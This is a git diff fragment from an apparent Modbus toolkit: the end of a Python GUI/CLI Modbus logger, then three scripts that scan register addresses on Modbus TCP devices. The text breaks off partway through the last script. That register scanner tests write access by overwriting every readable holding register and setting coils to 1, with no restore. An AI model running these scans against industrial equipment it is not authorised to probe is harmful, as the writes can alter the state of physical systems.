before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") 